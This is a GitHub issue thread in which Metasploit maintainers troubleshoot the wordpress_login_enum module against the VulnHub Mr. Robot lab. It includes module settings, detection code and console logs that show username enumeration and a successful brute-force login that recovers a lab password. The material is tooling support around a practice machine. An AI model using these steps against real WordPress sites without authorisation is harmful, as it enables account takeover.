search

rapid7 / metasploit-framework

Metasploit Framework
https://www.metasploit.com/
Other
33.83k stars 13.92k forks source link

This website seems not to be a wordpress site #10190

Closed Sicks3c closed 6 years ago

Sicks3c commented 6 years ago

Steps to reproduce

1- msfconsole 2- use auxiliary/scanner/http/wordpress_login_enum 3- set user_file /home/users.txt 4- set rhosts 192.168.1.10 5- set targeturi /wp-login.php

Expected behavior

-- Enumerating usernames

msf should have started enumerating

Current behavior

What happens instead? Instead I'm having a message tells that this " /wp-login.php " seems not to be a wordpress site When I changed "TARGETURI to 192.168.1.10" I got "192.168.1.10" seems not to be a wordpress site

OS

What OS are you running Metasploit on? I'm running kali linux

bcoles commented 6 years ago

That module hasn't been updated in a while. It's likely that the user enumeration functionality no longer works on modern WordPress installs, as it relies upon discrepancies within the WordPress login page. Here's the relevant code:

  4   # Checks if the given user exists
  5   #
  6   # @param user [String] Username                                                                           
  7   # @return [Boolean] true if the user exists
  8   def wordpress_user_exists?(user)
  9     res = send_request_cgi({
 10         'method' => 'POST',
 11         'uri' => wordpress_url_login,
 12         'vars_post' => wordpress_helper_login_post_data(user, Rex::Text.rand_text_alpha(6))
 13     })
 14 
 15     return true if res and res.code == 200 and
 16         (res.body.to_s =~ /Incorrect password/ or
 17             res.body.to_s =~ /document\.getElementById\('user_pass'\)/)
 18 
 19     return false
 20   end
 21

Modern user enumeration techniques do not make use of this functionality, instead opting to enumerate author IDs.

Also, TARGETURI is the target URI, not the remote host. 192.168.1.10 is not a correct value for TARGETURI.

Also, the documentation indicates that you should set URI rather than TARGETURI.

Also, it's hard to tell what's wrong with your configuration without seeing your console output and module options. For example, the phrase seems not to be a wordpress site does not exist within the framework.

Also, are you sure it's a WordPress site?

Sicks3c commented 6 years ago

meta Here's the steps on the tutorial but i still get that error check it

bcoles commented 6 years ago

Thanks for the screenshot.

The error does not seem to be WordPress site is due to the wordpress_and_online? check failing. This method uses a few regex (below) to detect Wordpress, however these regex aren't matching on your WordPress install for some reason.

    wordpress_detect_regexes = [
        /["'][^"']*\/#{Regexp.escape(wp_content_dir)}\/[^"']*["']/i,
        /<link rel=["']wlwmanifest["'].*href=["'].*\/wp-includes\/wlwmanifest\.xml["'] \/>/i,
        /<link rel=["']pingback["'].*href=["'].*\/xmlrpc\.php["'](?: \/)*>/i
    ]

I gave the module a go on a recent version of WordPress and it worked as expected:

msf5 > use auxiliary/scanner/http/wordpress_login_enum 
msf5 auxiliary(scanner/http/wordpress_login_enum) > set rhost 172.16.191.194
rhost => 172.16.191.194
msf5 auxiliary(scanner/http/wordpress_login_enum) > check
[*] 172.16.191.194:80 This module does not support check.
[*] Checked 1 of 1 hosts (100% complete)
msf5 auxiliary(scanner/http/wordpress_login_enum) > run

[*] / - WordPress Version 4.7.4 detected
[*] 172.16.191.194:80 - / - WordPress User-Enumeration - Running User Enumeration
[+] / - Found user 'admin' with id 1
[+] / - Usernames stored in: /root/.msf4/loot/20180628111146_default_172.16.191.194_wordpress.users_174633.txt
[*] 172.16.191.194:80 - / - WordPress User-Validation - Running User Validation
[*] 172.16.191.194:80 - [1/0] - / - WordPress Brute Force - Running Bruteforce
[*] / - Brute-forcing previously found accounts...
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

I didn't need to set URI or TARGETURI, as the WordPress install was located at the default path of /.

It's difficult to know why the module is failing for you. I would need to see the HTTP response and HTML source code for 192.168.1.101. Presumably the regex aren't matching because of a custom HTML login page.

Is the WordPress install hosed on HTTPS? One simple solution might be to set SSL true, as it defaults to false.

firefart commented 6 years ago

@amiralkizaru you have to set RHOSTS to the IP and TARGETURI to the root of the wordpress site, in your case / If you specify wp-login.php as a root it will not work

Sicks3c commented 6 years ago

@bcoles I'm trying to do it on the virtual machine of mr robot https://www.vulnhub.com/entry/mr-robot-1,151/ @FireFart When I put /wp-login.php on TARGETURI i get error "/wp-login.php seems not to be a wordpress site"

firefart commented 6 years ago

As said before, you need to put a single slash in targeturi and it will work

Sicks3c commented 6 years ago

login It"s not working check it

firefart commented 6 years ago

Then please set HTTP_TRACE to true and post the output

Sicks3c commented 6 years ago

results Here the results it prints the code source of the page ...

firefart commented 6 years ago

as you can see in the response the site is not running wordpress. Just look at the text. You can try changing the user agent but the module works as intended: The returned site is no wordpress site.

If you need help with this module please ask in IRC as the github issue tracker is only for errors in metasploit itself.

Sicks3c commented 6 years ago

@FireFart In fact all the wordpress exploit that has TARGETURI in options won't work for me I get the same error I don't know how to solve it I upgraded my kali system but still got the errors though about it I tried real wordpress sites and the same output I get every time ..

bcoles commented 6 years ago

@amiralkizaru The error does not seem to be WordPress site is due to the wordpress_and_online? check failing. This method uses a few regex to detect WordPress, however these regex aren't matching on your WordPress install for some reason. This is most likely due to specifying invalid module options or targeting a website which is not running WordPress.

This is how to configure a WordPress module in Metasploit, given an example WordPress URL of http://example.local/wordpress/ :

set RHOSTS example.local
set TARGETURI /wordpress/

This is how to configure a WordPress module in Metasploit, given an example WordPress URL of https://example.local/ :

set RHOSTS example.local
set TARGETURI /
set SSL true
firefart commented 6 years ago

as said before, the html returned from the debug output is not from wordpress. You are running the module against a non wordpress website or the request is being blocked from some IPS

Sicks3c commented 6 years ago

@FireFart @bcoles

I tried all guys here the results https://vimeo.com/277975759 With "set SSL TRUE" it returns SSL_connect returned=1 errno=0 state=SSLv3/TLS write client hello: wrong version number [*] Error: 192.168.1.101: OpenSSL::SSL::SSLError SSL_connect returned=1 errno=0 state=SSLv3/TLS write client hello: wrong version number

firefart commented 6 years ago

as said before, please join the IRC channel if you need help as the module works as expected

Sicks3c commented 6 years ago

Where please link to IRC channel ...

firefart commented 6 years ago

https://metasploit.help.rapid7.com/docs/getting-support

bcoles commented 6 years ago

Perhaps the regex in wordpress_and_online? should be updated?

\/wp-includes\/ "wp-submit" wp-login.php\?action=lostpassword ?

firefart commented 6 years ago

@bcoles the screenshot above with the HTML shows that the site is not running wordpress so the module works as intended.

bcoles commented 6 years ago

@FireFart / is not a WordPress install, but /wp-login.php is a WordPress login page, or at least pretends to be.

firefart commented 6 years ago

I can't see this info from the screenshots above, sorry. But you say we should update the module to work against non wordpress sites that pretend to be wordpress? I don't think that's a good idea tbh

Sicks3c commented 6 years ago

@FireFart check the video I put previously ... it's a wordpress page with httptrace set to true

bcoles commented 6 years ago

It's in the video. Agreed, updating the module to work against non-WordPress websites is a bad idea, and not what I'm suggesting.

Whether it's actually a fake WordPress login remains to be seen. The HTML looks like a legitimate login page.

The issue is whether the module should be updated to support instances where / routes somewhere, and /wp-login.php routes somewhere else. While uncommon, a reverse proxy makes this a possibility.

firefart commented 6 years ago

Every wordpress module in metasploit first checks the TARGET_URI if it's a wordpress site and then appends /wp-login.php to the TARGET_URI to start bruteforcing. If the root does not return a valid wordpress page, but you still want to bruteforce a single page I think the correct way is to use hydra or anything else. You can't "trust" the video because TARGET_URI always needs to be set to the root directory, not a single page. In this case /wp-login.php/wp-login.php is bruteforced which will not work. Also the screenshot says "Your Browser is not supported" and changing the user-agent was not attempted. So this is some kind of protection metasploit can't handle for you. I think that was intended by the creator of the machine so people do not succeed by simply throwing modules at it.

bcoles commented 6 years ago

Agreed. It's also possible that the login page is fake.

However, the question remains whether Metasploit should handle this situation.

Presumably. there are situations beyond a simple vuln lab where the base path does not appear to be a WordPress installation, however /wp-login.php is a valid WordPress login page for a "hidden" or forgotten installation. A custom landing page is a possibility. Likewise, a reverse proxy. Similarly, a broken/replaced index.php or misconfigured .htaccess.

"working as intended" is no doubt an unsatisfactory conclusion for the OP. Similarly, "use another tool" is equally unsatisfying.

I'm not interested in "fixing" it. For those stumbling on this thread in the future, who may want to resolve the issue, an easy "fix" may be adding an option to the WordPress mixin to disable the wordpress_and_online? check.

Sicks3c commented 6 years ago

The thing is , I tried with many wp machines and I have the same issue ...

bcoles commented 6 years ago

@amiralkizaru that seems unlikely. The previous console usage showed you were setting TARGETURI to /wp-login.php which is incorrect. I can't reproduce this issue on a recent version of WordPress, as per the console output above. If you're having issues on regular WordPress installs, which aren't running on a deliberately vulnerable virtual machine such as MrRobot, it would be best to seek help on IRC.

Sicks3c commented 6 years ago

@bcoles I just talked to the guys on IRC they said it don't work on Mr.robot VM ... feels relaxed after all Thank's to you and @FireFart for help

bcoles commented 6 years ago

I took a further look at this. The WordPress login is legit.

Re-opening this issue as I consider this a bug.

Warning: spoilers for MrRobot vuln lab ahead.

WPScan clearly identifies the WordPress installation.

$ ./wpscan.rb --url 10.1.1.151 
_______________________________________________________________
        __          _______   _____                  
        \ \        / /  __ \ / ____|                 
         \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \ 
           \  /\  /  | |     ____) | (__| (_| | | | |
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team 
                       Version 2.9.5-dev
          Sponsored by Sucuri - https://sucuri.net
      @_WPScan_, @ethicalhack3r, @erwan_lr, @_FireFart_
_______________________________________________________________

[i] It seems like you have not updated the database for some time
[i] Last database update: 2018-06-15
[?] Do you want to update now? [Y]es  [N]o  [A]bort update, default: [N] > 
[+] URL: http://10.1.1.151/
[+] Started: Wed Jul 11 03:22:38 2018

[+] Interesting header: SERVER: Apache
[+] Interesting header: X-FRAME-OPTIONS: SAMEORIGIN
[+] Interesting header: X-MOD-PAGESPEED: 1.9.32.3-4523
[+] robots.txt available under: http://10.1.1.151/robots.txt   [HTTP 200]
[+] XML-RPC Interface available under: http://10.1.1.151/xmlrpc.php   [HTTP 405]

[+] Enumerating WordPress version ...
[!] The WordPress 'http://10.1.1.151/readme.html' file exists exposing a version number

[+] WordPress version 4.3.17 

[+] Enumerating plugins from passive detection ...
[+] No plugins found passively

[+] Finished: Wed Jul 11 03:22:43 2018
[+] Elapsed time: 00:00:05
[+] Requests made: 399
[+] Memory used: 46.082 MB

After patching Metasploit (see PR #10287), this module works as intended.

msf5 > use auxiliary/scanner/http/wordpress_login_enum 
msf5 auxiliary(scanner/http/wordpress_login_enum) > set rhosts 10.1.1.151
rhosts => 10.1.1.151
msf5 auxiliary(scanner/http/wordpress_login_enum) > set user_file /root/users
user_file => /root/users
msf5 auxiliary(scanner/http/wordpress_login_enum) > set pass_file /root/pw
pass_file => /root/pw
msf5 auxiliary(scanner/http/wordpress_login_enum) > run

[-] / does not seem to be WordPress site
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/http/wordpress_login_enum) > set wpcheck 
wpcheck => true
msf5 auxiliary(scanner/http/wordpress_login_enum) > set wpcheck false
wpcheck => false
msf5 auxiliary(scanner/http/wordpress_login_enum) > run

[*] 10.1.1.151:80 - Skipping WordPress check...
[*] / - WordPress Version 4.3.17 detected
[*] 10.1.1.151:80 - / - WordPress User-Enumeration - Running User Enumeration
[*] 10.1.1.151:80 - / - WordPress User-Validation - Running User Validation
[*] / - WordPress User-Validation - Checking Username:'admin'
[-] 10.1.1.151:80 - [1/6] - / - WordPress User-Validation - Invalid Username: 'admin'
[*] / - WordPress User-Validation - Checking Username:'elliot'
[+] / - WordPress User-Validation - Username: 'elliot' - is VALID
[+] / - WordPress User-Validation - Found 1 valid user
[*] 10.1.1.151:80 - [3/6] - / - WordPress Brute Force - Running Bruteforce
[*] 10.1.1.151:80 - [3/6] - / - WordPress Brute Force - Skipping all but 1 valid user
[*] 10.1.1.151:80 - [4/6] - / - WordPress Brute Force - Trying username:'elliot' with password:'admin'
[-] 10.1.1.151:80 - [4/6] - / - WordPress Brute Force - Failed to login as 'elliot'
[*] 10.1.1.151:80 - [5/6] - / - WordPress Brute Force - Trying username:'elliot' with password:'password'
[-] 10.1.1.151:80 - [5/6] - / - WordPress Brute Force - Failed to login as 'elliot'
[*] 10.1.1.151:80 - [6/6] - / - WordPress Brute Force - Trying username:'elliot' with password:'ER28-0652'
[+] / - WordPress Brute Force - SUCCESSFUL login for 'elliot' : 'ER28-0652'
[!] No active DB -- Credential data will not be saved!
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Sicks3c commented 6 years ago

@bcoles So Now I should update msf and then add wpcheck = True and then run the command ?

bcoles commented 6 years ago

@amiralkizaru Close, but you'll need to set false.

maheshbasnet089 commented 2 years ago

@amiralkizaru Close, but you'll need to set false.

  • Update Metasploit
  • use auxiliary/scanner/http/wordpress_login_enum
  • set rhosts <IP>
  • set WPCHECK false

Well this worked for me , i needed to set false to my wpcheck option

mrmez commented 10 months ago

Worked for me too. What a PITA.